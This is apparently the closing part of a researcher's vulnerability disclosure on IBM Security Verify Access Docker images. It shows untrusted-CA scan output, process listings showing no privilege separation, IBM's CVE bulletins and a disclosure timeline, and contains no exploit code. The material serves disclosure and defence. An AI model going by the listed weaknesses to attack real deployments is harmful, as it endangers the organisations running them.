<p>This version appears to be quite outdated and <a href="https://xerces.apache.org/xerces-c/secadv.html">is likely vulnerable to known CVEs</a>.</p>
<p><a id="outdated-untrusted-cas"></a></p>
<h2>Details - Outdated and untrusted CAs used in the Docker images</h2>
<p>It was observed that the Docker images will trust invalid Certificate Authorities (CA).</p>
<p>Using the Paranoia program, we can list the invalid, expired and revoked CAs that are trusted inside the 4 Docker images.</p>
<p>It appears that these 4 Docker images trust some invalid, revoked or untrusted CAs.</p>
<p>Results for ibmcom/verify-access:10.0.4.0:</p>
<pre>
kali-docker# paranoia inspect ibmcom/verify-access:10.0.4.0
Certificate CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\, Inc. - For authorized use only,O=VeriSign\, Inc.,C=US
 removed from Mozilla trust store, no reason given

Certificate CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US
 expires soon ( expires on 2023-03-08T12:00:00Z, 19 weeks 2 days until expiry)

Certificate CN=Test CA,O=genua mbh
 expired ( expired on 2014-10-23T08:22:40Z, 8 years 3 days since expiry)

Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc
 expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon.

Certificate CN=DST Root CA X3,O=Digital Signature Trust Co.
 expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)
 removed from Mozilla trust store, no reason given

Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR
 expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)

Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
 expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL
 expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)

Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU
 removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59
https://bugzilla.mozilla.org/show_bug.cgi?id=1410277

Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
 expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU
 removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59
https://bugzilla.mozilla.org/show_bug.cgi?id=1410277

Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc
 expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon.

Certificate CN=DST Root CA X3,O=Digital Signature Trust Co.
 expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)
 removed from Mozilla trust store, no reason given

Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR
 expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)

Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL
 expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry)

Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
 expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL
 expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)

Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO
 expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry)

Found 395 certificates total, of which 21 had issues
</pre>

<p>Results for:</p>
<ul>
<li>ibmcom/verify-access-runtime:10.0.4.0</li>
<li>ibmcom/verify-access-wrp:10.0.4.0 </li>
<li>ibmcom/verify-access-dsc:10.0.4.0</li>
</ul>
<pre>
kali-docker# paranoia inspect ibmcom/verify-access-runtime:10.0.4.0
Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc
expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon.

Certificate CN=DST Root CA X3,O=Digital Signature Trust Co.
expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)
 removed from Mozilla trust store, no reason given

Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR
 expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)

Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL
 expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)

Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU
 removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59

https://bugzilla.mozilla.org/show_bug.cgi?id=1410277
Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU
 removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59

https://bugzilla.mozilla.org/show_bug.cgi?id=1410277
Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc
expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon.

Certificate CN=DST Root CA X3,O=Digital Signature Trust Co.
expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)
 removed from Mozilla trust store, no reason given

Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR
 expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)

Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL
 expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry)

Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign
expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)
 removed from Mozilla trust store, comments: Ownership transferred to GTS:
https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281

Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR
 removed from Mozilla trust store, no reason given

Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL
 expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)

Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO
 expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry)

Found 374 certificates total, of which 18 had issues
</pre>

<p>The communications used in the ISVA platform use SSL/TLS with a trust entirely based on underlying CAs. Some CAs have been revoked and cannot be trusted anymore.</p>
<p>The presence of revoked and expired CAs also shows that the security of the Docker images is highly perfectible.</p>
<p><a id="lack-of-privilege-separation"></a></p>
<h2>Details - Lack of privilege separation in Docker instances</h2>
<p>It was observed that the Docker images do not implement privilege separation. Privilege separation is a software-based implementation of the principle of least privilege.</p>
<p>Using dynamic analysis, the ibmcom/verify-access-wrp:10.0.4.0 Docker image,  ibmcom/verify-access:10.0.4.0 Docker image, and the ibmcom/verify-access-runtime Docker image do not correctly implement privilege separation.</p>
<p>Processes running inside the ibmcom/verify-access:10.0.4.0 Docker image:</p>
<pre><code>USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
isam           1  0.0  0.0  12060  2812 ?        Ss   Oct21   0:00 /bin/sh /sbin/bootstrap.sh
isam         312  0.0  0.0  24532    56 ?        Ss   Oct21   0:00 /usr/sbin/mesa_crashd
isam         314  0.1  0.0  24568  2056 ?        R    Oct21   6:20 /usr/sbin/mesa_crashd
isam         318  0.0  0.0  69160  2732 ?        Ss   Oct21   0:00 /usr/sbin/mesa_syslogd
isam         322  0.0  0.0  69224  2164 ?        S    Oct21   0:02 /usr/sbin/mesa_syslogd
isam         399  0.0  0.0 102760  2740 ?        Ss   Oct21   0:00 /usr/sbin/mesa_eventsd -m 1000
isam         400  0.0  0.1 711216  8276 ?        Sl   Oct21   0:00 /usr/sbin/mesa_eventsd -m 1000
isam         747  0.0  0.0 270992  7452 ?        Ssl  Oct21   0:06 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap 
isam         756  0.0  0.0 271124  7308 ?        Ssl  Oct21   0:06 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground
isam         807  0.0  0.0  71488  3084 ?        Ss   Oct21   0:00 /usr/sbin/iss-lum
isam         808  0.0  0.5 343920 42140 ?        Sl   Oct21   0:00 /usr/sbin/iss-lum
isam         833  0.0  0.0 128400  5140 ?        Ssl  Oct21   0:00 /usr/sbin/rsyslogd
isam         873  0.0  0.0 273920  7080 ?        Ssl  Oct21   0:06 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground
isam         879  1.5  0.5 563872 42292 ?        Sl   Oct21  71:40 wga_notifications -foreground
isam         892  0.0  0.0  12060  1804 ?        S    Oct21   0:00 /bin/sh /sbin/bootstrap.sh
isam         895  0.0  0.0  23068  1256 ?        S    Oct21   0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log
isam      573957  0.0  0.0  47620  3696 pts/0    Rs+  16:53   0:00 ps -aux
isam      573963  0.0  0.0  11928  2852 ?        S    16:53   0:00 sh -c ls /var/support/core_*.* | wc -l

pgresql      434  0.0  0.2 188380 17492 ?        Ss   Oct21   0:06 /usr/bin/postgres -D /var/postgresql/config/data
pgresql      435  0.0  0.0 138892  2960 ?        Ss   Oct21   0:00 postgres: logger
pgresql      446  0.0  0.0 188380  2696 ?        Ss   Oct21   0:00 postgres: checkpointer
pgresql      447  0.0  0.0 188516  4676 ?        Ss   Oct21   0:03 postgres: background writer
pgresql      448  0.0  0.0 188380  5148 ?        Ss   Oct21   0:03 postgres: walwriter
pgresql      449  0.0  0.0 189112  5312 ?        Ss   Oct21   0:04 postgres: autovacuum launcher
pgresql      450  0.0  0.0 139024  3016 ?        Ss   Oct21   0:15 postgres: stats collector
pgresql      451  0.0  0.0 188916  5492 ?        Ss   Oct21   0:00 postgres: logical replication launcher

www-data     547  0.3  6.2 4925056 499744 ?      SLl  Oct21  18:57 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/de

ivmgr        761  0.0  0.5 873712 44896 ?        Sl   Oct21   0:04 /opt/PolicyDirector/bin/pdmgrd -foreground
ivmgr        863  0.0  0.1 276544  8440 ?        Sl   Oct21   0:00 /usr/sbin/wga_servertaskd

ldap         752  0.0 10.3 1314228 822572 ?      Sl   Oct21   0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap

root         813  0.0  0.0  41984  3528 ?        Ss   Oct21   0:01 /usr/sbin/crond
root         862  0.0  0.0 174348  2828 ?        Ss   Oct21   0:00 /usr/sbin/wga_servertaskd
</code></pre>
<p>Some processes are running as <code>isam</code>. For example, the rsyslogd processys runs as <code>isam</code>. If a program running as <code>isam</code> is compromised inside an instance, then all the programs running as isam are also compromised.</p>
<p>Processes running inside the ibmcom/verify-access-wrp:10.0.4.0 Docker image:</p>
<pre><code>PID   USER     TIME  COMMAND
    1 isam      9:42 /opt/pdweb/bin/webseald -foreground -noenv -config etc/webseald-login-internal.conf
   32 isam      0:02 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
</code></pre>
<p>The only 2 processes are running as <code>isam</code>.</p>
<p>Processes running inside the ibmcom/verify-access-runtime: 10.0.4.0 Docker image:</p>
<pre><code>PID   USER     TIME  COMMAND
    1 isam      1h18 /opt/java/jre/bin/java -javaagent:/opt/ibm/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/rtprofile -Xms512m -Xmx2048m -Dcom.sun.security.enableCRLDP=true -Dsun.net.inetaddr.ttl=30 -Dhttps
   38 isam      0:00 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
   63 isam      0:04 /usr/bin/postgres -D /var/postgresql/config/data
   64 isam      0:00 postgres: logger   
   66 isam      0:00 postgres: checkpointer   
   67 isam      0:00 postgres: background writer   
   68 isam      0:00 postgres: walwriter   
   69 isam      0:01 postgres: autovacuum launcher   
   70 isam      0:05 postgres: stats collector   
   71 isam      0:00 postgres: logical replication launcher   
37169 isam      0:00 bash
37186 isam      0:00 ps -a
</code></pre>
<p>In the <code>ibmcom/verify-access-runtime</code> instance, we can confirm the postgres daemon is running. We can also confirm a complete lack of privilege separation: everything is running as isam.</p>
<p>If a program running as <code>isam</code> is compromised inside an instance, then the all the programs running as isam are also compromised.</p>
<h2>Vendor Response</h2>
<p>IBM provided several security bulletins:</p>
<p><a href="https://www.ibm.com/support/pages/node/7158790">Security Bulletin: IBM Security Verify Access is vulnerable to multiple Security Vulnerabilities</a>:</p>
<ul>
<li>CVE-2023-38371: IBM Security Access Manager uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.</li>
<li>CVE-2024-35137: IBM Security Access Manager Appliance could allow a local user to possibly elevate their privileges due to sensitive configuration information being exposed.</li>
<li>CVE-2024-35139: IBM Security Verify Access could allow a local user to obtain sensitive information from the container due to incorrect default permissions.</li>
<li>CVE-2023-30998: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls.</li>
<li>CVE-2023-30997: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls.</li>
<li>CVE-2023-38368: IBM Security Access Manager Container could disclose sensitive information to a local user to do improper permission controls.</li>
<li>CVE-2023-38370: IBM Security Access Manager Container, under certain configurations, could allow a user on the network to install malicious packages.</li>
</ul>
<p><a href="https://www.ibm.com/support/pages/node/7145400">Security Bulletin: Security Vulnerabilities discovered in IBM Security Verify Access</a>:</p>
<ul>
<li>CVE-2024-25027: IBM Security Verify Access could disclose sensitive snapshot information due to missing encryption.</li>
</ul>
<p><a href="https://www.ibm.com/support/pages/node/7106586">Security Bulletin: Multiple Security Vulnerabilities were identified in IBM Security Verify Access</a>:</p>
<ul>
<li>CVE-2023-31003: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain root access due to improper access controls.</li>
<li>CVE-2023-31001: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) temporarily stores sensitive information in files that could be accessed by a local user.</li>
<li>CVE-2023-38267: IBM Security Access Manager Appliance (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain sensitive configuration information.</li>
<li>CVE-2023-31005: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a local user to escalate their privileges due to an improper security configuration.</li>
<li>CVE-2023-30999: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow an attacker to cause a denial of service due to uncontrolled resource consumption.</li>
<li>CVE-2023-43016: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote user to log into the server due to a user account with an empty password.</li>
<li>CVE-2023-32327: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.</li>
<li>CVE-2023-32329: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a user to download files from an incorrect repository due to improper file validation.</li>
<li>CVE-2023-31004: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote attacker to gain access to the underlying system using man in the middle techniques.</li>
<li>CVE-2023-31006: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to a denial of service attacks on the DSC server.</li>
<li>CVE-2023-32328: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure protocols in some instances that could allow an attacker on the network to take control of the server.</li>
<li>CVE-2023-32330: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure calls that could allow an attacker on the network to take control of the server.</li>
<li>CVE-2023-43017: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 could allow a privileged user to install a configuration file that could allow remote access.</li>
<li>CVE-2022-2068: OpenSSL could allow a remote attacker to execute arbitrary commands on the system, caused by improper validation of user-supplied input by the c_rehash script. By sending a specially-crafted request using shell metacharacters, an attacker could exploit this vulnerability to execute arbitrary commands with the privileges of the script on the system.</li>
<li>CVE-2023-31002: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 temporarily stores sensitive information in files that could be accessed by a local user.</li>
<li>CVE-2023-38369: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 does not require that docker images should have strong passwords by default, which makes it easier for attackers to compromise user accounts.</li>
</ul>
<p><a href="https://www.ibm.com/support/pages/node/7155356">Security Bulletin: Multiple Security Vulnerabilities were discovered in IBM Security Verify Access Container (CVE-2024-35140, CVE-2024-35141, CVE-2024-35142)</a>:</p>
<ul>
<li>CVE-2024-35140: IBM Security Verify Access could allow a local user to escalate their privileges due to improper certificate validation.</li>
<li>CVE-2024-35141: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges.</li>
<li>CVE-2024-35142: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges.</li>
</ul>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>October 2022: Security assessment performed on IBM Security Verify Access.</li>
<li>Feb 12, 2023: A complete report was sent to IBM.</li>
<li>Feb 13, 2023: IBM acknowledged the reception of the security assessment and said that scan tools usually report a lot of issues so I have to check the status of detected CVEs by browsing RedHat webpages and create an issue for each CVE.</li>
<li>Feb 13, 2023: Replied to IBM saying that the security assessment was not done using a scanner.</li>
<li>Feb 14, 2023: Asked for an update.</li>
<li>Feb 14, 2023: IBM confirmed that the report was shared with L3 and "IBM hacking team".</li>
<li>Feb 22, 2023: IBM said they were still assessing the report.</li>
<li>Mar 13, 2023: An additional report on ibmsecurity was sent to IBM.</li>
<li>Mar 13, 2023: IBM confirmed that the second report was shared with L3 team.</li>
<li>Mar 15, 2023: IBM wanted to organize a meeting about the findings.</li>
<li>Mar 15, 2023: I replied that I would like to have a written feedback for each reported vulnerability in order to have constructive discussion.</li>
<li>Apr 4, 2023: I asked again IBM to confirm the vulnerabilities</li>
<li>Apr 5, 2023: IBM shared the analysis (VulnerabilityResponse.xlsx), confirming several vulnerabilities.</li>
<li>Apr 11, 2023: I provided my comments (VulnerabilityResponse-comments-Pierre.xlsx) and asked to organize a meeting.</li>
<li>Apr 11, 2023: IBM confirmed a meeting is possible.</li>
<li>Apr 18, 2023: I asked to organize a meeting on Apr 19, 2023.</li>
<li>Apr 18, 2023: IBM confirmed a meeting is possible.</li>
<li>Apr 19, 2023: I asked to have a meeting where every party (dev team, support and myself) can be present.</li>
<li>Apr 19, 2023: IBM confirmed a meeting would take place on Apr 20, 2023.</li>
<li>Apr 20, 2023: Meeting with IBM regarding ISVA. IBM confirmed they would recheck some of the issues and would provide CVEs for the vulnerabilities.</li>
<li>Apr 23, 2023: I asked to have a second meeting about ibmsecurity.</li>
<li>Apr 23, 2023: IBM confirmed they will organize a meeting on ibmsecurity.</li>
<li>Apr 24, 2023: I asked the timeline to get security patches.</li>
<li>Apr 24, 2023: IBM confirmed there are no ETA to get security patches.</li>
<li>Apr 27, 2023: Meeting with IBM regarding ibmsecurity. IBM confirmed they will fix all the issues.</li>
<li>May 10, 2023: I asked for CVE identifiers to track the vulnerabilities.</li>
<li>May 11, 2023: IBM said that PSIRT records have been opened and the scoring is in progress.</li>
<li>May 15, 2023: I reached IBM because I found a CVE (CVE-2023-25927) and a security bulletin likely corresponding to a vulnerability I reported, thanks to <a href="https://twitter.com/CVEnew">@CVEnew</a> on Twitter: <a href="https://www.ibm.com/support/pages/node/6989653">https://www.ibm.com/support/pages/node/6989653</a>. I asked if this was one of the reported vulnerabilities.</li>
<li>Jul 7, 2023: IBM said the dev team was still working on the final list of issues and that everything would be fixed in the 10.0.7 release.</li>
<li>Jul 10, 2023: I asked when the 10.0.7 release would be available. I asked again more details about the previous advisory.</li>
<li>Jul 11, 2023: IBM said that the 10.0.7 release would be published on Dec 23, 2023. Regarding the CVEs, IBM replied they would need to discuss with the dev team.</li>
<li>Jul 12, 2023: I asked IBM to confirm if CVE-2023-25927 was one of the reported vulnerabilities.</li>
<li>Jul 12, 2023: IBM said that they do not credit security researchers.</li>
<li>Jul 13, 2023: I provided several IBM security bulletins where security researchers were credited, e.g. <a href="https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430">https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430</a>.</li>
<li>Jul 14, 2023: IBM confirmed that they would forward the information to L3 team and asked what I would want to do with this case.</li>
<li>Jul 14, 2023: I said that (1) I was still waiting for information about CVE-2023-25927, (2) I did not have any information regarding security patches for ibmsecurity and (3) I asked IBM to provide me with the final list of vulnerabilities that would be patched in the 10.0.7. Since the list of confirmed vulnerabilities was quite long, I wanted to confirm that nothing was missed.</li>
<li>Jul 28, 2023: IBM said that they did not know if CVE-2023-25927 is one of the reported vulnerabilities and in any case, it is impossible to edit the security bulletin and give credits.</li>
<li>Aug 16, 2023: IBM asked if additional assistance was required [NB: IBM likely wanted to close this ticket while no security patches were published].</li>
<li>Aug 17, 2023: I asked again information about ibmsecurity and CVE-2023-25927.</li>
<li>Oct 20, 2023: IBM said they were still analysing the requests (final list of patched vulnerabilties, security patches of ibmsecurity and status of CVE-2023-25927).</li>
<li>Oct 25, 2023: IBM asked to organize a meeting.</li>
<li>Oct 25, 2023: I replied that I was still waiting for the final list of vulnerabilities that would be fixed in version 10.0.7. There was also no information regarding security patches for ibmsecurity.</li>
<li>Oct 25, 2023: IBM replied they wanted to discuss about the vulnerabilities in a meeting.</li>
<li>Oct 29, 2023: IBM asked to organize a meeting again.</li>
<li>Oct 30, 2023: I accepted the meeting and I asked IBM to provide the list of vulnerabilities that would be patched with their current status. I also asked the status of ibmsecurity.</li>
<li>Oct 30, 2023: IBM asked to have a meeting on Nov 7, 2023.</li>
<li>Nov 2, 2023: I confirmed my presence to the meeting.</li>
<li>Nov 5, 2023: IBM confirmed the meeting.</li>
<li>Nov 7, 2023: Meeting with IBM. IBM provided me with a new report containing new feedbacks for several vulnerabilities. Also IBM confirmed that several vulnerabilities would be patched in 2024 and ibmsecurity would be patched in December 2023. IBM asked me to review a specific vulnerability that appears to be invalid (<em>V-[REDACTED] - Insecure SSLv3 connections to the DSC servers</em>).</li>
<li>Nov 21, 2023: IBM asked me to review the new report shared by IBM.</li>
<li>Nov 28, 2023: IBM asked for updates.</li>
<li>Dec 4, 2023: I answered that I did not have anymore access to the test infrastructure and IBM had to wait for my analysis until I get again access to the test infrastructure.</li>
<li>Dec 4, 2023: IBM asked me to check the vulnerabilities as soon as possible.</li>
<li>Dec 21, 2023: I got access to a test infrastructure and reviewed some vulnerabilities.</li>
<li>Dec 21, 2023: I sent a new analysis to IBM, containing details of 4 vulnerabilities.</li>
<li>Dec 27, 2023: IBM confirmed the reception of the new analysis.</li>
<li>Jan 15, 2024: IBM asked me to update ISVA and recheck all the vulnerabilities.</li>
<li>Jan 16, 2024: I asked IBM if ibmsecurity was also patched.</li>
<li>Jan 16, 2024: IBM confirmed that a new case must be opened for ibmsecurity to get security patches(!).</li>
<li>Jan 22, 2024: IBM wanted to organize a new meeting.</li>
<li>Jan 22, 2024: I replied that I failed to understand the issue with the ibmsecurity library and that I had a written confirmation by IBM that security patches would be provided. The vulnerabilities found in ibmsecurity were reported in March 2023 (10 months ago).</li>
<li>Jan 22, 2024: I informed IBM that I discovered(!) a new security bulletin thanks to <a href="https://twitter.com/CVEnew">@CVEnew</a>: <a href="https://www.ibm.com/support/pages/node/7106586">https://www.ibm.com/support/pages/node/7106586</a>, but only 15 vulnerabilities were listed instead of the 35 vulnerabilities confirmed by IBM. I asked IBM to clarify the situation as it looked like less than half of vulnerabilities were indeed patched.</li>
<li>Jan 24, 2024: IBM created a new case for ibmsecurity.</li>
<li>Jan 29, 2024: IBM confirmed that 5 vulnerabilities had not been patched in the latest version (10.0.7).</li>
<li>Jan 29, 2024: I reached IBM to get the status of 15 unpatched vulnerabilities. I provided the updated analysis to IBM.</li>
<li>Feb 7, 2024: IBM confirmed that some of the vulnerabilities were "being processed" and that some of vulnerabilities had been also silently patched and no security bulletins had been published.</li>
<li>Feb 20, 2024: IBM asked for updates.</li>
<li>Feb 20, 2024: I asked when would be the release date for ISVA 10.0.8 and the complete list of vulnerabilities that would be patched in this release.</li>
<li>Feb 20, 2024: IBM confirmed that the 10.0.8 release would be published in mid-2024.</li>
<li>Feb 23, 2024: I sent a new vulnerability to IBM "Authentication Bypass on IBM Security Verify Runtime".</li>
<li>Feb 23, 2024: IBM confirmed the reception of the vulnerability and asked to close the ticket.</li>
<li>Feb 23, 2024: I said that since some vulnerabilities had not been patched, the ticket must stay open.</li>
<li>Feb 23, 2024: IBM said that they cannot keep the ticket open and they needed to close it.</li>
<li>Feb 23, 2024: I explained that the vulnerabilities were reported over a year ago and IBM confirmed they had not fully fixed in the latest version and that some vulnerabilities were also still under evaluation. I said that I would agree to close this ticket if IBM could confirm that all vulnerabilities reported in the ticket had been correctly fixed in the latest version. I also asked IBM to provide the corresponding security bulletins.</li>
<li>Feb 27, 2024: Regarding the authentication bypass, IBM replied that the runtime was supposed to be in the intranet zone.</li>
